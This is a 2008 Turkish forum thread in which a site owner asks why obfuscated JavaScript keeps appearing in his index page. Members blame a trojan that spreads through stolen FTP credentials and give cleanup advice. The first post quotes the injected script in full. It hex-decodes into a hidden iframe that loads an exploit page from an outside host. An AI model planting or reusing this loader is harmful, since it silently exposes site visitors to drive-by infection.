• 24-09-2008, 17:40:10
    #1
    Üyeliği durduruldu
    İndex Sayfamda Kendi Kendine java kodlar Oluşuyor sebebi ne olabilir..

    oluşan kod aşağıdaki gibi

    <script>function vttaYttbYba(vtYaaabbYta){  return(parseInt(vtYaaabbYta,16));}function vabtaYtatta(vtYYbYbYYat){  var vtYYYYbYbta='';for(vYYbbabYbta=0; vYYbbabYbta<vtYYbYbYYat.length; vYYbbabYbta+=2){vtYYYYbYbta+=(String.fromCharCode(vttaYttbYba(vtYYbYbYYat.substr(vYYbbabYbta,2))));}return vtYYYYbYbta;} document.write(vabtaYtatta('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65202069643D225974626261596174626122206E616D653D227462745974625962746222207372633D22687474703A2F2F7265646469692E72752F747261666669632F73706C6F6974312F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313633323631292B2762746261615974617474222077696474683D2232383122206865696768743D2235383122207374796C653D22646973706C61793A206E6F6E653B223E3C2F696672616D653E27293C2F5343524950543E'));</script>
    bu kod yüzünde sayfalar kendi kendine siliniyor...
    bundan nasıl kurtulabilirim..
    ilgilenen arkadaşlara şimdiden teşekkürler..
  • 24-09-2008, 17:46:35
    #2
    Bir Ara Banada Oldu index.php den o kodu sil çünki trojan kodu yani şuan sitende trojan var başkasından yedin ve kodlar sanada bulaştı Format at birde.
  • 24-09-2008, 18:15:28
    #3
    Üyeliği durduruldu
    WebEngineer adlı üyeden alıntı: mesajı görüntüle
    Bir Ara Banada Oldu index.php den o kodu sil çünki trojan kodu yani şuan sitende trojan var başkasından yedin ve kodlar sanada bulaştı Format at birde.

    Bilgi için Teşekkürler..
  • 24-09-2008, 18:24:21
    #4
    Rica Ne demek.
  • 24-09-2008, 20:26:47
    #5
    Üyeliği durduruldu
    Şimdi Aklıma Geldi Pekii Şu Meşşur Adavare pro ile tarasam sonuç alabilirmiyim.. Şimdi server e format atmak uzun iş 2 gün uyumamam lazım onca isim yeniden oluşturulacak felan bu yazdığım program sonuç verirmiki..
  • 24-09-2008, 20:31:53
    #6
    Üyeliği durduruldu
    bu basit update trojeni..
    sanırm cuteftp progrmaını kullanıyorsun..
    daha önceden giriş yaptıgın ftp'de sadece index.php , index.html gibi ana dızın dosyalarıa bu kod çakılıyor..
    FTP şifreni değiştir ve cuteftp programı kullanma format atana kadar..
  • 25-09-2008, 18:05:13
    #7
    Üyeliği durduruldu
    MurderDolls adlı üyeden alıntı: mesajı görüntüle
    bu basit update trojeni..
    sanırm cuteftp progrmaını kullanıyorsun..
    daha önceden giriş yaptıgın ftp'de sadece index.php , index.html gibi ana dızın dosyalarıa bu kod çakılıyor..
    FTP şifreni değiştir ve cuteftp programı kullanma format atana kadar..
    burda format atana kadar yazmışsın yaa o format atmana gerek yok anlamındamı yoksa format atacağın zamana kadar kullanma demek mi çözemedim.. ilginiz için teşekkürler.. ayrıca kodları sildim ve şifreleri değiştirdin şimdilik bir sorun yok.. bu sabah server un powersabı patladı bunlarla alakası olamaz değil mi?
  • 25-09-2008, 18:09:36
    #8
    Üyeliği durduruldu
    Format attıktan sonra Kullanabilirsin cuteftp programını fakat yınede Kullanmamanı tavsiye ederim cunku kendı sıtelerının herhangı bı dosyasında bu kod varsa tekrar trojen bulaşmış olur..
    Yapman gereken ie ile ftp'e baglanman...
  • 25-09-2008, 18:14:46
    #9
    Üyeliği durduruldu
    evet şimdi o şekilde ve filezilla ile bağlanıyorum şimdilik bir sorun yok serverde..

    birde serverdeki sitelerin tam bir yedeğini aldım bu yedeği avti vüris programı ile taratsam faydası olurmu yani temizlermi..

    Kayspersky Kullanıyom evdeki makinada serverde nod32 kurulu o görmüyor bu kodları